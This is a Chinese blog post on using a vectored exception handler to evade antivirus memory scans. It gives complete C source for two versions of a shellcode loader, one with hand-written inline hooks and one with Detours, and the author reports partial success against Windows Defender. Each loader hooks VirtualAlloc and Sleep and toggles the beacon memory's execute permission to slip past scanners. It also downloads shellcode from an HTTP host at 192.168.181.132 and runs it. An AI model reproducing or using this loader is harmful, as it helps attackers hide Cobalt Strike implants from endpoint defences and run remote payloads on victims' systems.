0%

VEH异常处理规避内存扫描

实现思路

AV在扫描进程空间时,并不会扫描所有的内存空间,只会扫描敏感的内存区域「可执行区域」。

思路就是不断改变某一块内存属性,当应执行命令或某些操作时,执行的内存属性为可执行,当功能模块进入睡眠状态,则内存属性改为不可执行。当执行的地址空间为不可执行时,如果强制执行就会返回0xc0000005异常。随后通过VEH去捕获该异常,即根据需求动态的改变内存属性,从而规避内存扫描。

代码实现

首先 Hook VirtualAlloc 和 Sleep函数

Hook VirtualAlloc

读取起始地址和内存大小 便于后续修改内存属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
CHAR g_OldSleepData[5] = { 0 };

LPVOID OldVirtualAlloc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualAlloc");

LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
unHookVirtualAlloc();
BASE_ADDRESS = VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
g_dwSize = dwSize;
HookVirtualAlloc();
return BASE_ADDRESS;
}

void HookVirtualAlloc() {
DWORD dwAllocOldProtect = NULL;
BYTE pAllocData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
//保存原来的硬编码
RtlCopyMemory(g_OldAllocData, OldVirtualAlloc, sizeof(g_OldAllocData));
//计算偏移
DWORD dwAllocOffeset = (DWORD)NewVirtualAlloc - (DWORD)OldVirtualAlloc - 5;
//得到完整的pAllocData
RtlCopyMemory(&pAllocData[1], &dwAllocOffeset, sizeof(dwAllocOffeset));
//改为可写属性
VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwAllocOldProtect);
//将偏移地址写入,跳转到新的
RtlCopyMemory(OldVirtualAlloc, pAllocData, sizeof(pAllocData));
//还原属性
VirtualProtect(OldVirtualAlloc, 5, dwAllocOldProtect, &dwAllocOldProtect);
}

void unHookVirtualAlloc() {
DWORD dwOldProtect = NULL;
VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwOldProtect);
//还原硬编码
RtlCopyMemory(OldVirtualAlloc, g_OldAllocData, sizeof(g_OldAllocData));
//还原属性
VirtualProtect(OldVirtualAlloc, 5, dwOldProtect, &dwOldProtect);
}
Hook Sleep

在Beacon进入sleep时 即刻取消Beacon内存区域的X属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
CHAR g_OldSleepData[5] = { 0 };

LPVOID OldSleep = GetProcAddress(GetModuleHandleA("kernel32.dll"), "Sleep");

VOID WINAPI NewSleep(DWORD dwMilliseconds) {
printf("Sleep:%d\n", dwMilliseconds);
unHookSleep();
Sleep(dwMilliseconds);
HookSleep();
SetEvent(hEvent);
}

void HookSleep() {
DWORD OldSleepProtect = NULL;
BYTE pSleepData[5] = { 0xe9, 0, 0, 0, 0 };
//保存Sleep原编码
RtlCopyMemory(g_OldSleepData, OldSleep, sizeof(g_OldSleepData));
//计算偏移
DWORD SleepOffest = (DWORD)NewSleep - (DWORD)OldSleep - 5;
//得到pSleepData
RtlCopyMemory(&pSleepData[1], &SleepOffest, sizeof(pSleepData));
//修改内存属性可写,保存原先内存属性到OldSleepProtect
VirtualProtect(OldSleep, 5, PAGE_EXECUTE_READWRITE, &OldSleepProtect);

//修改完的pSleepData覆盖掉原始的Sleep
RtlCopyMemory(OldSleep, pSleepData, sizeof(pSleepData));

//修改为原内存属性
VirtualProtect(OldSleep, 5, OldSleepProtect, &OldSleepProtect);
}

void unHookSleep() {
DWORD dwOldProtect = NULL;
VirtualProtect(OldSleep, 5, PAGE_READWRITE, &dwOldProtect);
//还原硬编码
RtlCopyMemory(OldSleep, g_OldSleepData, sizeof(g_OldSleepData));
//还原属性
VirtualProtect(OldSleep, 5, dwOldProtect, &dwOldProtect);
}
VEH异常处理

如果内存属性为不可执行状态去执行的话,就会报出异常0xc0000005,可以通过ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005进行判断。随后使用is_Exception 判断报错位置是否在申请的内存区域中,如果有在赋予可执行属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//判断报错位置是否在申请的内存区域中,如果有在赋予可执行属性
BOOL is_Exception(DWORD ExceptionInfo_EIP){
if (ExceptionInfo_EIP < ((DWORD)BASE_ADDRESS + dwSize_Gloab) && ExceptionInfo_EIP >= (DWORD)BASE_ADDRESS)
{
printf("地址符合:%x\n", ExceptionInfo_EIP);
return true;
}
printf("地址不符合:%x\n", ExceptionInfo_EIP);
return false;
}

LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo){
//printf("异常错误码:%x\n", ExceptionInfo->ExceptionRecord->ExceptionCode);
//printf("线程地址:%lx\n", ExceptionInfo->ContextRecord->Eip);
if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(ExceptionInfo->ContextRecord->Eip)) {
//printf("恢复可执行内存属性\n");
VirtualProtect(BASE_ADDRESS, dwSize_Gloab, PAGE_EXECUTE_READWRITE, &Beacon_OldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
完整代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#include <Windows.h>
#include <stdio.h>
#include <WinInet.h>
#pragma comment(lib, "WinInet.lib")

CHAR g_OldAllocData[5] = { 0 };
CHAR g_OldSleepData[5] = { 0 };
LPVOID BASE_ADDRESS;
SIZE_T g_dwSize;
DWORD Beacon_OldProtect;
HANDLE hEvent;

void HookVirtualAlloc();
void unHookVirtualAlloc();
void HookSleep();
void unHookSleep();

LPVOID OldSleep = GetProcAddress(GetModuleHandleA("kernel32.dll"), "Sleep");
LPVOID OldVirtualAlloc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualAlloc");

VOID WINAPI NewSleep(DWORD dwMilliseconds) {
printf("Sleep:%d\n", dwMilliseconds);
unHookSleep();
Sleep(dwMilliseconds);
HookSleep();
SetEvent(hEvent);
}


LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
unHookVirtualAlloc();
BASE_ADDRESS = VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
g_dwSize = dwSize;
HookVirtualAlloc();
return BASE_ADDRESS;
}

//参考inlinehook代码
void HookVirtualAlloc() {
DWORD dwAllocOldProtect = NULL;
BYTE pAllocData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
//保存原来的硬编码
RtlCopyMemory(g_OldAllocData, OldVirtualAlloc, sizeof(g_OldAllocData));
//计算偏移
DWORD dwAllocOffeset = (DWORD)NewVirtualAlloc - (DWORD)OldVirtualAlloc - 5;
//得到完整的pAllocData
RtlCopyMemory(&pAllocData[1], &dwAllocOffeset, sizeof(dwAllocOffeset));
//改为可写属性
VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwAllocOldProtect);
//将偏移地址写入,跳转到新的
RtlCopyMemory(OldVirtualAlloc, pAllocData, sizeof(pAllocData));
//还原属性
VirtualProtect(OldVirtualAlloc, 5, dwAllocOldProtect, &dwAllocOldProtect);
}

void unHookVirtualAlloc() {
DWORD dwOldProtect = NULL;
VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwOldProtect);
//还原硬编码
RtlCopyMemory(OldVirtualAlloc, g_OldAllocData, sizeof(g_OldAllocData));
//还原属性
VirtualProtect(OldVirtualAlloc, 5, dwOldProtect, &dwOldProtect);
}


void HookSleep() {
DWORD OldSleepProtect = NULL;
BYTE pSleepData[5] = { 0xe9, 0, 0, 0, 0 };
//保存Sleep原编码
RtlCopyMemory(g_OldSleepData, OldSleep, sizeof(g_OldSleepData));
//计算偏移
DWORD SleepOffest = (DWORD)NewSleep - (DWORD)OldSleep - 5;
//得到pSleepData
RtlCopyMemory(&pSleepData[1], &SleepOffest, sizeof(pSleepData));
//修改内存属性可写,保存原先内存属性到OldSleepProtect
VirtualProtect(OldSleep, 5, PAGE_EXECUTE_READWRITE, &OldSleepProtect);

//修改完的pSleepData覆盖掉原始的Sleep
RtlCopyMemory(OldSleep, pSleepData, sizeof(pSleepData));

//修改为原内存属性
VirtualProtect(OldSleep, 5, OldSleepProtect, &OldSleepProtect);
}

void unHookSleep() {
DWORD dwOldProtect = NULL;
VirtualProtect(OldSleep, 5, PAGE_READWRITE, &dwOldProtect);
//还原硬编码
RtlCopyMemory(OldSleep, g_OldSleepData, sizeof(g_OldSleepData));
//还原属性
VirtualProtect(OldSleep, 5, dwOldProtect, &dwOldProtect);
}


//判断报错位置是否在申请的内存区域中,如果有在赋予可执行属性
BOOL is_Exception(DWORD ExceptionInfo_EIP) {
if (ExceptionInfo_EIP < ((DWORD)BASE_ADDRESS + g_dwSize) && ExceptionInfo_EIP >= (DWORD)BASE_ADDRESS)
{
printf("地址符合:%x\n", ExceptionInfo_EIP);
return TRUE;
}
printf("地址不符合:%x\n", ExceptionInfo_EIP);
return FALSE;
}

LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) {
//printf("异常错误码:%x\n", ExceptionInfo->ExceptionRecord->ExceptionCode);
//printf("线程地址:%lx\n", ExceptionInfo->ContextRecord->Eip);
if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(ExceptionInfo->ContextRecord->Eip))
{
//printf("恢复可执行内存属性\n");
VirtualProtect(BASE_ADDRESS, g_dwSize, PAGE_EXECUTE_READWRITE, &Beacon_OldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}

DWORD WINAPI SetNoExecutableProtect(LPVOID lpParameter) {
while (TRUE)
{
//等待解锁
WaitForSingleObject(hEvent, INFINITE);
//printf("设置Beacon内存属性不可执行\n");
//VirtualProtect(BASE_ADDRESS, g_dwSize, PAGE_NOACCESS, &Beacon_OldProtect);
VirtualProtect(BASE_ADDRESS, g_dwSize, PAGE_READWRITE, &Beacon_OldProtect);

//设置事件为未被通知的,重新上锁
ResetEvent(hEvent);
}
return 0;
}


int main() {
//设置事件为有信号事件 处于通知状态
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
AddVectoredExceptionHandler(1, &VectoredExceptionHandler);
HookVirtualAlloc();
HookSleep();

HANDLE hthread = CreateThread(NULL, 0, SetNoExecutableProtect, NULL, 0, NULL);
CloseHandle(hthread);

HINTERNET hInternet = InternetOpenA("aa", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hConnect = InternetConnectA(hInternet, "192.168.181.132", 80, NULL, NULL, INTERNET_SERVICE_HTTP, NULL, NULL);
HINTERNET hRequest = HttpOpenRequestA(hConnect, "GET", "/shellcode", "HTTP/1.1", NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
HttpSendRequest(hRequest, NULL, NULL, NULL, NULL);

LPVOID exec = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_READWRITE);
DWORD dwRealWord;
BOOL response = InternetReadFile(hRequest, exec, 0x400000, &dwRealWord);
((void(*)())exec)();

unHookSleep();
unHookVirtualAlloc();
}

以上代码还是有不足之处 当有别的行为去申请内存,会导致之前的Beacon的内存位置被覆盖掉,在is_Exception有出现问题导致无法上线

该方法可以勉强过windowsdefender 使用敏感动作还是会被杀,还是会识别出cs的特征

由于是使用的远程加载,卡巴禁止远程下载功能 所以也没法过。

使用detours代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#include <Windows.h>
#include <stdio.h>
#include <WinInet.h>
#include "include/detours.h"
#pragma comment(lib, "WinInet.lib")
#if _x64
#pragma comment(lib,"lib.X64/detours.lib")
#else
#pragma comment(lib,"lib.X86/detours.lib")
#endif

LPVOID BASE_ADDRESS;
SIZE_T g_dwSize;
DWORD Beacon_OldProtect;
HANDLE hEvent;
BOOL Vir_FLAG = TRUE;
LPVOID shellcode_addr;

void Hook();
void UnHook();
BOOL is_Exception(DWORD ExceptionInfo_EIP);
//LPVOID OldSleep = GetProcAddress(GetModuleHandleA("kernel32.dll"), "Sleep");
//LPVOID OldVirtualAlloc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualAlloc");
static VOID(WINAPI *OldSleep)(DWORD dwMilliseconds) = Sleep;
static LPVOID(WINAPI *OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;

VOID WINAPI NewSleep(DWORD dwMilliseconds) {
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("Sleep:%d\n", dwMilliseconds);
Sleep(dwMilliseconds);
SetEvent(hEvent);
}


LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {

BASE_ADDRESS = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
g_dwSize = dwSize;
return BASE_ADDRESS;
}


//判断报错位置是否在申请的内存区域中,如果有在赋予可执行属性
BOOL is_Exception(DWORD ExceptionInfo_EIP) {
if (ExceptionInfo_EIP < ((DWORD)BASE_ADDRESS + g_dwSize) && ExceptionInfo_EIP >= (DWORD)BASE_ADDRESS)
{
printf("地址符合:%x\n", ExceptionInfo_EIP);
return TRUE;
}
printf("地址不符合:%x\n", ExceptionInfo_EIP);
return FALSE;
}

LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) {
//printf("异常错误码:%x\n", ExceptionInfo->ExceptionRecord->ExceptionCode);
//printf("线程地址:%lx\n", ExceptionInfo->ContextRecord->Eip);
if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(ExceptionInfo->ContextRecord->Eip))
{
//printf("恢复可执行内存属性\n");
VirtualProtect(BASE_ADDRESS, g_dwSize, PAGE_EXECUTE_READWRITE, &Beacon_OldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}

DWORD WINAPI SetNoExecutableProtect(LPVOID lpParameter) {
while (TRUE)
{
//等待解锁
WaitForSingleObject(hEvent, INFINITE);
//printf("设置Beacon内存属性不可执行\n");
//VirtualProtect(BASE_ADDRESS, g_dwSize, PAGE_NOACCESS, &Beacon_OldProtect);
VirtualProtect(BASE_ADDRESS, g_dwSize, PAGE_READWRITE, &Beacon_OldProtect);

//设置事件为未被通知的,重新上锁
ResetEvent(hEvent);
}
return 0;
}


void Hook()
{
DetourRestoreAfterWith(); //避免重复HOOK
DetourTransactionBegin(); // 开始HOOK
DetourUpdateThread(GetCurrentThread());
DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
DetourAttach((PVOID*)&OldSleep, NewSleep);
DetourTransactionCommit(); // 提交HOOK
}

void UnHook()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
DetourTransactionCommit();
}


int main() {
//设置事件为有信号事件 处于通知状态
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
AddVectoredExceptionHandler(1, &VectoredExceptionHandler);
Hook();

HANDLE hthread = CreateThread(NULL, 0, SetNoExecutableProtect, NULL, 0, NULL);
CloseHandle(hthread);

HINTERNET hInternet = InternetOpenA("aa", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hConnect = InternetConnectA(hInternet, "192.168.181.132", 80, NULL, NULL, INTERNET_SERVICE_HTTP, NULL, NULL);
HINTERNET hRequest = HttpOpenRequestA(hConnect, "GET", "/shellcode", "HTTP/1.1", NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
HttpSendRequest(hRequest, NULL, NULL, NULL, NULL);

LPVOID shellcode_addr = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_READWRITE);
DWORD dwRealWord;
BOOL response = InternetReadFile(hRequest, shellcode_addr, 0x400000, &dwRealWord);
//把shellcode_addr强制转换为一个返回void类型的函数指针然后执行
((void(*)())shellcode_addr)();

UnHook();
}

References

https://macchiato.ink/hst/bypassav/VEH/#PVECTORED-EXCEPTION-HANDLER

https://forum.butian.net/share/783

https://xz.aliyun.com/t/9399

https://www.cnblogs.com/zpchcbd/p/14742672.html

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------